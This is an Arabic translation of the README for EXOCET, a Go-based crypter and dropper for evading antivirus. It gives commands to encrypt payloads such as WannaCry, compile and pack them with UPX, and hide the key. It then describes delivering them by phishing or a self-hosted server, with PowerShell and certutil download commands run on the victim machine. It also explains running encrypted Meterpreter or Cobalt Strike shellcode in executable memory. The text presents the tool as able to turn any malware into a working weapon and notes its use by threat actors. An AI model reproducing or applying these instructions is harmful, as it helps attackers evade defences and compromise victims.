
EXOCET - أداة توصيل حمولة متخفية من برامج مكافحة الفيروسات، غير قابلة للكشف
Chang Tan
AWS Certified Cloud Practitioner and Solutions Architect Associate
[email protected]
تأكد من تعبئة حمولاتك لتجنب أي تسرب لمفتاح التشفير ولإحباط محللي البرامج الضارة بشكل أكبر. لا يلزم وجود أداة تعبئة تجارية من الدرجة الأولى مثل Themida. بل قد تثير المزيد من الشكوك بدون شهادة توقيع الكود. بدون شهادة توقيع الكود، على أنظمة Windows، يتم تشغيل SmartScreen تلقائيًا. هذه هي القاعدة لجميع البرامج غير المرغوب فيها (PUPs)، أي جميع حمولات البرامج الضارة، والبيكنات، والجيكونات، وأحصنة طروادة للتحكم عن بعد، وما إلى ذلك، تتطلب شهادة توقيع كود. أموالك أفضل إنفاقًا على شراء شهادة توقيع كود بدلاً من أداة تعبئة من الدرجة الأولى.
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe
ثم أسقط الحمولة على هدفك. باستخدام شيء مثل بريد إلكتروني تصيدي، أو رابط، أو إذا كان لديك بالفعل وصول شل، قم بتوصيلها باستخدام شيء مثل استضافة خادمك الخاص محليًا
python -m http.server 80'
ثم على الجهاز الذي تخترقه، قم بتشغيل الأمر في موجه PowerShell
iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"
أو
certutil.exe -urlcache -split -f http://yourip/outputmalware.exe
ثم نفذ باستخدام outputmalware.exe
EXOCET متفوقة على وحدات "الحمولات المراوغة" الخاصة بـ Metasploit حيث تستخدم EXOCET تشفير AES-256 في وضع GCM (Galois/Counter Mode). تستخدم وحدات المراوغة من Metasploit تشفير RC4 الذي يسهل اكتشافه. بينما يمكن فك تشفير RC4 بشكل أسرع، فإن AES-256 يجعل تحديد نية البرنامج الضار أكثر صعوبة.

ومع ذلك، من الممكن استخدام Metasploit لبناء حمولة مراوغة، ثم ربطها مع EXOCET. لذا ستقوم EXOCET بفك التشفير باستخدام AES-256، ثم تقوم الحمولة المراوغة من Metasploit بفك تشفير نفسها من RC4.
تمامًا مثل مشروعي السابق، DarkLordObama، صُممت هذه المجموعة لتكون مركبة توصيل/إطلاق، مثلما يفعل Veil-Evasion.
ومع ذلك، فإن EXOCET ليست محدودة بقاعدة كود واحدة أو منصات تعمل بنظام Python. تعمل EXOCET على جميع المنصات والبنى المعمارية المدعومة من Go.
EXOCET هي في الأساس أداة إسقاط برامج ضارة من نوع مشفر (crypter) يمكنها إعادة تدوير الحمولات التي يسهل اكتشافها مثل WannaCry، وتشفيرها باستخدام AES-GCM (وضع Galois/Counter)، وهو أكثر أمانًا من AES-CBC، ثم إنشاء ملف إسقاط لمعظم البنى والمنصات الموجودة.
باختصار...
هذا يعني بنى 32 بت و 64 بت، ويعمل على Linux و Windows و Macs و Unix و Android و iPhone وما إلى ذلك. يمكنك أخذ أي شيء، وأعني أي شيء، مثل دودة Morris عام 1988 التي كادت أن تسقط الإنترنت (والتي استغلت ثغرة في برنامج الاستماع fingerd على UNIX)، وجعلها سلاحًا إلكترونيًا فعالًا مرة أخرى.
EXOCET مكتوبة بالكامل بلغة Go.
تتطلب EXOCET، بغض النظر عن الملف الثنائي الذي تستخدمه لتشغيلها، وجود Golang لتعمل. افتراضيًا، تقوم بإنشاء ملف .go مشفر.
sudo apt-get update && sudo apt-get install -y golanggo get github.com/tanc7/EXOCET-AV-Evasiongo run EXOCET.go detectablemalware.exe outputmalware.go
يتم إنشاء مفتاح تلقائيًا لك. طول المفتاح 64 حرفًا ويتكون بالكامل من عوامل إعادة توجيه أنابيب الأوامر في bash و cmd.exe لإرباك وتعطيل محاولات القوة العمياء ضد المفتاح، مما يسبب سلوكًا مدمرًا وغير متوقع على جهاز المحقق الجنائي.
لأهداف Windows 64 بت...
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
وسيظهر ملف outputmalware.exe
لأهداف MacOS 64 بت
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
لأهداف Linux 64 بت
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
راجع هذا المرجع على github للحصول على معلماتك لأنظمة التشغيل الأخرى مثل Android: مرجع الترجمة المتقاطعة لـ Go
لاحظ أنه لا يزال من الممكن العثور على المفتاح باستخدام الأمر strings، لذا يرجى استخدام الأمر upx-ucl لتعبئة الملف الثنائي لإخفاء المفتاح.
علاوة على ذلك، توجد ملفات ثنائية مترجمة مسبقًا قمت بإنشائها، مما يعني أنه عليك فقط تشغيل ./EXOCET أو EXOCET-Windows.exe
أنا، Chang Tan، ومنشئو الوحدة الرئيسية والوحدات الفرعية لـ Exocet والحزم التي تتضمنها، لسنا مسؤولين عن سوء استخدام هذه الأداة. هذه مجرد أداة اختبار اختراق. يُمنع منعًا باتًا نشر الملفات الثنائية الناتجة عن Exocet ضد الأنظمة المحمية غير المصرح بها أو الأنظمة الحكومية المحمية غير المصرح بها.
أنا على علم بأن الجهات الفاعلة في التهديدات مثل APT41 ومجموعة NSO قد استخدمت و/أو اعتمدت كودًا من هذه الأداة، خاصة طريقة go-memexec. إذا تم الاتصال بي من قبل محققين فيدراليين بشأن إساءة استخدام هذه الأداة، فلن أتحمل المسؤولية.
هذا هو نفس الأمر الذي حدث مع مطوري Mimikatz و PowerShell Empire (الذين أوقفوا تطويرهم الخاص بعد إدراك استخدامها بين الجهات الفاعلة في التهديدات). استمر الخلفاء في تطوير Empire، وهناك بدائل مجانية مثل Covenant C2.
في 4 مايو 1982، خلال حرب الفوكلاند، أطلق سرب من طائرات سوبر إيتاندارد الأرجنتينية صاروخ إكسوسيت فرنسي الصنع على السفينة إتش إم إس شيفيلد. على الرغم من محاولات البحرية الملكية إيقاف الصاروخ، أصاب واحد منها، مما أدى إلى إغراق شيفيلد. وضعت هذه الحادثة الأرجنتين على الخريطة كعرض للقوة ضد قوة استعمارية عالمية.
مقال إخباري عن إغراق إتش إم إس شيفيلد
تمامًا مثلما وضعت تصرفات Onel de Guzman بفيروس ILOVEYOU الفلبين على الخريطة كتهديد إلكتروني.
.png)
إذًا، سيكون هذا الشهر والشهر القادم شهرين مزدحمين بالنسبة لي، وسيكون هناك تأخيرات في تنفيذ هذه الأساليب. لكنني متحمس للبدء في تنفيذ تقنيات جديدة لمراوغة برامج مكافحة الفيروسات مثل...
أنا شخص مشغول جدًا، لدي الأولويات التالية وأود طلب بعض المساعدة، بعض طلبات السحب للمساعدة في المشروع. حيث أن لدي الأمور التالية للقيام بها
أحتاج إلى بعض المساعدة، لأنني قمت بتنفيذ CGO بنجاح لتنفيذ شيل كود مشفر لكنه يرمي أخطاء انتهاك الوصول إلى الذاكرة مع حالة خروج 0xc0000005. لا ينبغي أن يكون هذا متعلقًا بـ DEP (منع تنفيذ البيانات) لأن الملف CGOTest/working-template-shellcode-executor.go قد تم تشغيله بالفعل.
تم اكتشاف المشكلة
كما اتضح، يجب استدعاء VirtualAlloc من kernel32.dll و ntdll.dll لتحديد صفحة الذاكرة حيث يهبط الشيل كود بحيث تكون قابلة للقراءة والكتابة والتنفيذ، بمعنى آخر، ضبط PAGE_EXECUTE_READWRITE إلى ON. اقرأ ملاحظة حول مشكلة انتهاك الوصول إلى الذاكرة أدناه.

بمجرد أن أكتشف هذا، كان CGO مؤلمًا للتنفيذ، يمكننا الآن إنشاء مشفرات تنفذ INLINE-ASSEMBLY. وهو ما كان يعتبر مستحيلًا حتى الآن.
لاحظ أن هذا يتطلب تثبيت Golang ومجموعة أدوات MinGW على Windows مع تشغيلك وإنشاء الشيل كود على Windows. السبب هو أن CGO لا يمكن ترجمتها بشكل متقاطع مثل وحدات EXOCET الأخرى. لتثبيت مجموعة الأدوات، تحتاج إلى الذهاب إلى https://www.msys2.org/ واتباع الدليل. ثم يجب إضافة gcc إلى متغيرات البيئة الخاصة بك في Windows

الخطوة 1: إنشاء شيل كود، يمكن أن يكون من حمولات msfvenom Meterpreter، أو بيكنات Cobalt Strike، أو شيل كود مخصص خاص بك بتنسيق C متوافق

الخطوة 2: قم بنسخ بايتات الشيل كود فقط، باستثناء علامات الاقتباس، في ملف نصي مثل sc.txt

الخطوة 3: يجب أن يبدو ملف الشيل كود الخاص بك هكذا. شيل كود خام

الخطوة 4: الآن قم بتشغيل الأمر go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY
الخطوة 5: يمكنك محاولة تشغيله لكنك ستواجه أخطاء انتهاك الوصول إلى الذاكرة لسبب ما، والذي ما زلت أعمل عليه
على ما يبدو، بصرف النظر عن القيود الرئيسية لـ CGO التي تمنع أو تحبط الترجمة المتقاطعة بشكل كبير، فإن المشكلة هي أن الشيل كود الذي نريد تنفيذه يهبط في جزء من الذاكرة (تم تحليله في WinDBG x64) ليس RWX. بمعنى آخر، ما لم نكتب كود C يسمح صراحة بالتنفيذ في ذاكرة الشيل كود، فسيظل يرمي أخطاء انتهاك الوصول.
الطريقة الأخرى، التي لاحظتها من مطورين آخرين لوحدات Go بدائية https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d، هي أنهم يستخدمون API Windows الخاص بـ Go للتفاعل مع ntdll.dll و kernel32.dll لاستدعاء VirtualAlloc وتحديد مناطق صفحات ذاكرة RWX. هذه الطريقة تعمل بشكل أفضل، لكن يبدو أن الشيل كود يجب أن يكون بتنسيق رقمي محول فقط لكي يعمل.
ما زلت أعمل على هذا يا رفاق. قد أقوم بدمج عدة لغات برمجة معًا لكتابة وحدة تنفيذ شيل كود مناسبة
لسوء الحظ، أواجه أخطاء في إنشاء ملف ثنائي مترجم مسبقًا لأجهزة MacBooks التي تعمل بمعالجات M1 الجديدة. قد تكون مشكلة في تثبيت Golang الخاص بي
┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status
على أي حال، لا تزال بحاجة إلى Golang لترجمة أو ترجمة البرنامج الضار بشكل متقاطع إلى المنصة التي تستهدفها.